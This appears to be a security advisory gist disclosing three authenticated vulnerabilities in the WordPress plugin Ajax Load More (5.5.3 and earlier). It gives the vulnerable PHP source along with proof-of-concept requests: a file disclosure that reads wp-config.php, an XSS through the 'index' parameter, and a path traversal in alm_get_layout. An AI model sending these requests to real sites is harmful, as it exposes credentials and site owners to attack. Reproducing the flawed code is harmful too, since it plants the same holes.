Xib3rR4dAr / AjaxLoadMore_5.5.3_multiple_vulnerabilities.md Secret

Last active 3 months ago

Ajax Load More <= 5.5.3 Multiple Vulnerabilities

AjaxLoadMore_5.5.3_multiple_vulnerabilities.md

Ajax Load More <= 5.5.3 Multiple Vulnerabilities

Authenticated Information Disclosure / Local File Disclosure:

"ajax-load-more-repeaters" AJAX action is vulnerable to "Full Path Disclosure" since full path of webserver file name can be seen in the request. Arbitrary filename can be provided as input via parameter "alm_repeaters_export" to view the file contents. PoC for reading WordPress Configuration file:

```
POST /wp-admin/admin.php?page=ajax-load-more-repeaters
alm_repeaters_export=/var/www/html/wp-config.php
```

```
188  function alm_repeaters_export() {
189      if ( isset( $_POST['alm_repeaters_export'] ) && ( ! wp_doing_ajax() ) ) {
190          if ( current_user_can( 'edit_theme_options' ) ) {
191              $file = $_POST['alm_repeaters_export'];
192              if ( file_exists( $file ) ) {
193                  header( 'Content-Description: File Transfer' );
194                  header( 'Content-Type: application/octet-stream' );
195                  header( 'Content-Disposition: attachment; filename="' . basename( $file ) . '"' );
196                  readfile( $file );
197                  exit();
198              }
199          }
200      }
201  }
```

Vulnerable file: `admin/admin.php`

Authenticated Cross-Site Scripting:

PoC:

```
/wp-admin/admin-ajax.php?action=alm_get_tax_terms&taxonomy=post_tag&index=1"><script
```

Parameter **index** is not properly sanitized. Vulnerable file: `admin/admin.php`

```
1177
1178  function alm_get_tax_terms(){
1179     if (current_user_can( 'edit_theme_options' )){
1180
1181        $nonce = $_GET["nonce"];
1182        // Check our nonce, if they don't match then bounce!
1183        if (! wp_verify_nonce( $nonce, 'alm_repeater_nonce' ))
1184           die( 'Get Bounced!' );
1185
1186        $taxonomy = (isset($_GET['taxonomy'])) ? $_GET['taxonomy'] : '';
1187        $index = (isset($_GET['index'])) ? $_GET['index'] : '1';
1188
1189        $tax_args = array(
1190           'orderby'       => 'name',
1191           'order'         => 'ASC',
1192           'hide_empty'    => false
1193        );
1194        $terms = get_terms($taxonomy, $tax_args);
1195        $returnVal = '';
1196        if ( !empty( $terms ) && !is_wp_error( $terms ) ){
1197           $returnVal .= '<ul>';
1198           foreach ( $terms as $term ) {
1199
1200              $returnVal .='<li><input type="checkbox" class="alm_element" name="tax-term-'.$term->slug.'" id="tax-term-'.$term->slug.'-'.$index.'" data-type="
                 '.$term->slug.'"><label for="tax-term-'.$term->slug.'-'.$index.'">'.$term->name.'</label></li>';
1201
1202           }
1203           $returnVal .= '</ul>';
1204           echo $returnVal;
1205
1206           die();
1207        }else{
1208           echo "<p class='warning'>No terms exist within this taxonomy</p>";
1209           die();
1210        }
1211
1212     } else {
```

Authenticated Path traversal to arbitrary file read:

PoC:

```
/wp-admin/admin-ajax.php?action=alm_get_layout&repeater=default&type=./../../../../w
/wp-admin/admin-ajax.php?action=alm_get_layout&repeater=default&type=./../../wp-conf
```

```php
function alm_get_layout() {
    if ( current_user_can( 'edit_theme_options' ) ) {

        $nonce = sanitize_text_field( $_GET["nonce"] );
        $type = sanitize_text_field( $_GET["type"] );
        $custom = sanitize_text_field( $_GET["custom"] ) ;

        // Check our nonce, if they don't match then bounce!
        if ( ! wp_verify_nonce( $nonce, 'alm_repeater_nonce' ) ) {
            wp_die( 'Error - unable to verify nonce, please try again.' );
        }

        if ( $type === 'default' ) {
            // Default Layout.
            $content =  file_get_contents( ALM_PATH . 'admin/includes/layout/' . $type.'.php' );

        } else {
            // Custom Layout.
            if ( $custom == 'true' ) {
                $dir = 'alm_layouts';
                if ( is_child_theme() ) {
                    $path = get_stylesheet_directory() . '/' . $dir . '/' . $type;
                    // if child theme does not have the layout, check the parent theme.
                    if ( ! file_exists( $path ) ) {
                        $path = get_template_directory() . '/' . $dir . '/' . $type;
                    }
                } else {
                    $path = get_template_directory() . '/' . $dir . '/' . $type;
                }
                $content = file_get_contents( $path );

            }
            // Layouts Add-on.
            else {
                $content = file_get_contents( ALM_LAYOUTS_PATH . 'layouts/' . $type . '.php' );
            }

        }

        $return['value'] = $content;
        echo json_encode( $return );

```

Vulnerable file: `admin/admin.php`